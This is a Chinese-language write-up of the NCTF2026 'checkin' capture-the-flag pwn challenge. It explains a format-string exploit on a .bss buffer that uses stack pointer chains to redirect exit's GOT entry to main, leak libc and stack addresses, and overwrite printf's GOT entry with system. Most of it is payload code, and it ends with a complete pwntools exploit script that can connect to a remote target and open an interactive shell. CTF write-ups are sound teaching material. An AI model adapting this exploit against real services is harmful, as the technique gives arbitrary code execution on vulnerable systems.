checkin
.png)
.png)
题目main函数很简单,就是一个格式化字符串漏洞,但是这里唯一特别的就是buf是在.bss段,也就是我们不能直接用地址+%kc%hn来直接任意修改,我们只能利用栈上的指针链间接修改。
这里got表可写,nopie,我们一次格式化字符串肯定是不够解题的,所以我们第一步就是把exit的got表改成main函数的地址,而且由于这里exit还没有进行延迟绑定,里面存的是plt表的地址,所以我们只用修改最后两字节就够了。
.png)
offset1 = 6
offset2 = 6
target_1 = shn(exit_got, offset1)
target_2 = shn(main_addr, target_1[1] + offset2)
payload = b"".join([
b"%c" * offset1,
f"%{target_1[0]}c%hn".encode(),
b"%c" * offset2,
f"%{target_2[0]}c%hn".encode(),
b"\x00"
])
先改02位置的指针链,把0a存的地址改为exit的got表位置,然后再改0a位置的指针链就是修改exit的got表里的内容了,我们修改最后两字节为main函数的最后两字节。
这里要注意一个点,就是我们不能用$:
如果用了,会进行以下操作,
抓取快照:它会把栈上对应位置的所有参数值一次性全部读入内部寄存器或临时变量中。
开始执行:按照我们的要求进行打印和写入。
但是我们是要用修改指针的方法来操作的,是动态的,所以这里我们采用%c来占寄存器,例如我们要改偏移量8位置(即第八个参数的位置)的内容,我们先用%c * 6占了前面的6个寄存器,然后 f"%{(0x1000 - 6)}c%hn".encode(),{(0x1000 - 6)}c占了第七个(这里要注意我们前面%c * 6已经输出了6个字符),然后printf读取到了%hn刚好是第八个,成功修改到了我们想要的位置。
然后我们就有循环的格式化字符串漏洞,我们的思路是修改printf的got表为system,因为题目是printf(buf),我们方便输入/bin/sh,我们可以发现要修改至少需要修改printf的libc地址的最后三字节。
然后我们先泄露libc地址和栈的一个地址。
.png)
target_stack = leak[0] + 0x28
offset3 = 6
target_3 = shn(target_stack, offset3)
payload2 = b"".join([
b"%c" * offset3,
f"%{target_3[0]}c%hn".encode(),
b"\x00"
])
我们要修改三字节需要分成两次,一次修改两字节一次修改一字节,由于我们每次循环都要printf,所以这两次修改需要在一次循环里修改完,也就是我们需要两条像06那行的指针链,所以我们需要额外构造一条,由于我们前面泄露了一个栈地址,我们就能由固定偏移算出其他的栈地址,我们这里02那行指针链,让它指向09那行,因为那行存着一个pie地址。
修改完后:
.png)
我们看到有两条我们需要的指针链了,分别是06和08,我们把一个修改为0x404010(printf的got表地址)另一个修改成0x404011
offset4 = 10
target_4 = shn(printf_got + 1, offset4)
target_5 = shhn(printf_got, (target_4[1]))
payload3 = b"".join([
b"%c" * offset4,
f"%{target_4[0]}c%hn".encode(),
f"%{target_5[0]}c%hhn".encode(),
b"\x00"
])
修改完后:
.png)
我们看到修改成功了,分别是0d行和12行,我们再把这两个位置修改成system就行了
system_addr1 = libc.sym['system'] & 0xff
system_addr2 = (libc.sym['system'] >> 8) & 0xffff
offset5 = 17
offset6 = 3
target_6 = shn(system_addr2, offset5)
target_7 = shhn(system_addr1, (target_6[1] + offset6))
payload4 = b"".join([
b"%c" * offset5,
f"%{target_6[0]}c%hn".encode(),
b"%c" * offset6,
f"%{target_7[0]}c%hhn".encode(),
b"\x00"
])
额外提一下,这里每次printf同一个位置的参数位置会变是因为我们不是通过leave ret正常跳转,而是直接跳转,所以每一次的栈帧都是没有回收的,每次都会循环都会压入一次main函数的栈帧,所以会变。
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = ''
file_name = './pwn'
ld_name = './ld-linux-x86-64.so.2'
libc_name = './libc.so.6'
args = [ld_name, "--library-path", ".", file_name]
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
0x124f
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
target_addr = elf.address + b
gdb_cmd += f"hb *{hex(target_addr)}\n"
elif isinstance(b, str):
gdb_cmd += f"hb {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'hb *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(args, gdbscript=gdb_cmd, aslr=True)
else:
p = process(args)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def base(val, binary=elf): return binary.address + val
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = data if data else ru(delim)
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
exit_got = 0x404000
main_addr = 0x4011b6
printf_got = 0x404010
offset1 = 6
offset2 = 6
target_1 = shn(exit_got, offset1)
target_2 = shn(main_addr, target_1[1] + offset2)
payload = b"".join([
b"%c" * offset1,
f"%{target_1[0]}c%hn".encode(),
b"%c" * offset2,
f"%{target_2[0]}c%hn".encode(),
b"\x00"
])
sa(b"Please checkin first", payload)
payload1 = b"".join([
b"%6$p|%9$p",
b"\x00"
])
sa(b"first", payload1)
leak = ga(b"Please")
ntlb(leak[1], 0x2a1ca)
target_stack = leak[0] + 0x28
offset3 = 6
target_3 = shn(target_stack, offset3)
payload2 = b"".join([
b"%c" * offset3,
f"%{target_3[0]}c%hn".encode(),
b"\x00"
])
sa(b"first", payload2)
offset4 = 10
target_4 = shn(printf_got + 1, offset4)
target_5 = shhn(printf_got, (target_4[1]))
payload3 = b"".join([
b"%c" * offset4,
f"%{target_4[0]}c%hn".encode(),
f"%{target_5[0]}c%hhn".encode(),
b"\x00"
])
sa(b"first", payload3)
system_addr1 = libc.sym['system'] & 0xff
system_addr2 = (libc.sym['system'] >> 8) & 0xffff
offset5 = 17
offset6 = 3
target_6 = shn(system_addr2, offset5)
target_7 = shhn(system_addr1, (target_6[1] + offset6))
payload4 = b"".join([
b"%c" * offset5,
f"%{target_6[0]}c%hn".encode(),
b"%c" * offset6,
f"%{target_7[0]}c%hhn".encode(),
b"\x00"
])
sa(b"first", payload4)
it()
题目链接:CTF-Writeups/NCTF2026/checkin at main · Zenquiem/CTF-Writeups